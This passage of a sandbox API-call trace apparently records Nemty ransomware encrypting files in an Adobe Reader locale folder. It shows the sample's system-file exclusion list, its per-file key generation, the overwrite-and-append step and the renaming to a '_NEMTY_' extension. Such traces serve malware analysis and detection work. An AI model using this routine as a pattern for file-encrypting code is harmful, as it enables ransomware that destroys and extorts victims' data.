pszString="aBZaXK82hl/ZKsThldznVwLgtbbWhQATAPXXjWWLpWweNRdbWVZ5Vj4iOjFHXTlU\r\nltoXRKiAWUvkFScA8szxca7F3JwErgZnkyvEduQBnD72yTHSeZyiOOk3xZbVtUn4\r\nxW//bF2w9XZ5isAdo94acFzXs232mlua9E6W7+XBQrJmFoTyLQ3AInAaqHMS4YyH\r\no0tQeVWhoHoJP+hMylJHRtJC3Xhim1k+mngJoYU8vqw0OgiyweQPKQGodpxkTHCd\r\nluAnbhp/oY5L+54tQbfPOLlg0tEPDFKrdL5hGPVj0zWY2+hLxyV6KM/6hC4y2DAP\r\nruSvDkd/934kjrlbFw480g==\r\n", pcchString=0x653e5dc) returned 1 [0185.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.092] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0185.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SaveAsRTF.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\saveasrtf.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.093] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=17920) returned 1 [0185.093] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4600) returned 0x6352c48 [0185.093] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.093] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4600, lpOverlapped=0x0) returned 1 [0185.096] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.096] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4600, lpOverlapped=0x0) returned 1 [0185.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.096] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=17920, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4600 [0185.096] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.096] CloseHandle (hObject=0x2e8) returned 1 [0185.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0185.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.096] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0185.097] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.097] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SaveAsRTF.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\saveasrtf.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\SaveAsRTF.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\saveasrtf.tur._nemty_kgobjgd_")) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.097] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.097] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.TUR", cAlternateFileName="")) returned 1 [0185.097] lstrcmpiW (lpString1="Search.TUR", lpString2=".") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="..") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="...") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="windows") returned -1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="rsa") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="NTDETECT.COM") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="ntldr") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="MSDOS.SYS") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="IO.SYS") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="boot.ini") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="boot.ini") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="ntuser.dat") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="desktop.ini") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="CONFIG.SYS") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="RECYCLER") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="bootmgr") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="programdata") returned 1 [0185.098] lstrcmpiW (lpString1="Search.TUR", lpString2="appdata") returned 1 [0185.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.098] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0185.099] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.TUR", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.TUR", lpUsedDefaultChar=0x0) returned 10 [0185.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0185.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0185.099] Sleep (dwMilliseconds=0x5) [0185.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21fac070, dwHighDateTime=0x1d561e8)) [0185.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21fac070, dwHighDateTime=0x1d561e8)) [0185.107] GetLastError () returned 0x0 [0185.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.108] GetLastError () returned 0x0 [0185.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0185.108] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0185.108] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0185.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0185.108] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="r0qwYvCD7knX47dxXopJGcdQrEJzdefTsok8kaw2vXNZHSXRbZGOXc6zS7kE/7tr\r\nHgaSkqmqKD/ioVuplR+qhTL60IQatFcrA/zgKGZilPoEAd+kekE01Ta2MbF/+g+n\r\n6wiXFJDhHJ5QkscdfNZuGLBX65qOxYBF4Ow6ciRl44QBySAYM3USBmJeN9vEfT7N\r\njDCP1MQ1imzUuKo93GlX2SxX4esoXHMIgEJMf10OojqZXd0+gd5R8BDQxbJbibY+\r\nTJPjS5mTR3lhlSeuzc2kn5HTuOwjAONvAobXmAcs4bOQAMsJIgCK3U4w7EGdx+5q\r\nAlaxoB4+v8rTBCjD8tEkuQ==\r\n", pcchString=0x653e5dc) returned 1 [0185.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0185.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.108] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0185.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0185.108] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0185.108] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Search.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\search.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0185.108] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22016) returned 1 [0185.109] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5600) returned 0x6352c48 [0185.109] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.109] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5600, lpOverlapped=0x0) returned 1 [0185.112] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0185.112] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5600, lpOverlapped=0x0) returned 1 [0185.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0185.112] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600 [0185.112] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0185.112] CloseHandle (hObject=0x2e8) returned 1 [0185.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0185.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0185.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0185.112] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0185.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0185.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0185.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0185.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.113] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Search.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\search.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Search.TUR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\search.tur._nemty_kgobjgd_")) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0185.113] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x830ff2a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.TUR", cAlternateFileName="")) returned 1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2=".") returned 1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2="..") returned 1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2="...") returned 1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2="windows") returned -1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2="$RECYCLE.BIN") returned 1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2="rsa") returned 1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2="NTDETECT.COM") returned 1 [0185.113] lstrcmpiW (lpString1="SendMail.TUR", lpString2="ntldr") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="MSDOS.SYS") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="IO.SYS") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="boot.ini") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="boot.ini") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="ntuser.dat") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="desktop.ini") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="CONFIG.SYS") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="RECYCLER") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="BOOTSECT.BAK") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="bootmgr") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="programdata") returned 1 [0185.114] lstrcmpiW (lpString1="SendMail.TUR", lpString2="appdata") returned 1 [0185.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0185.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0185.114] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.TUR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.TUR", lpUsedDefaultChar=0x0) returned 12 [0185.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0185.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0185.114] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0185.114] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0185.114] Sleep (dwMilliseconds=0x5) [0185.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21fd21d0, dwHighDateTime=0x1d561e8)) [0185.123] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21fd21d0, dwHighDateTime=0x1d561e8)) [0185.123] GetLastError () returned 0x0 [0185.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0185.123] GetLastError () returned 0x0 [0185.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0185.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0185.123] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0185.123] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, 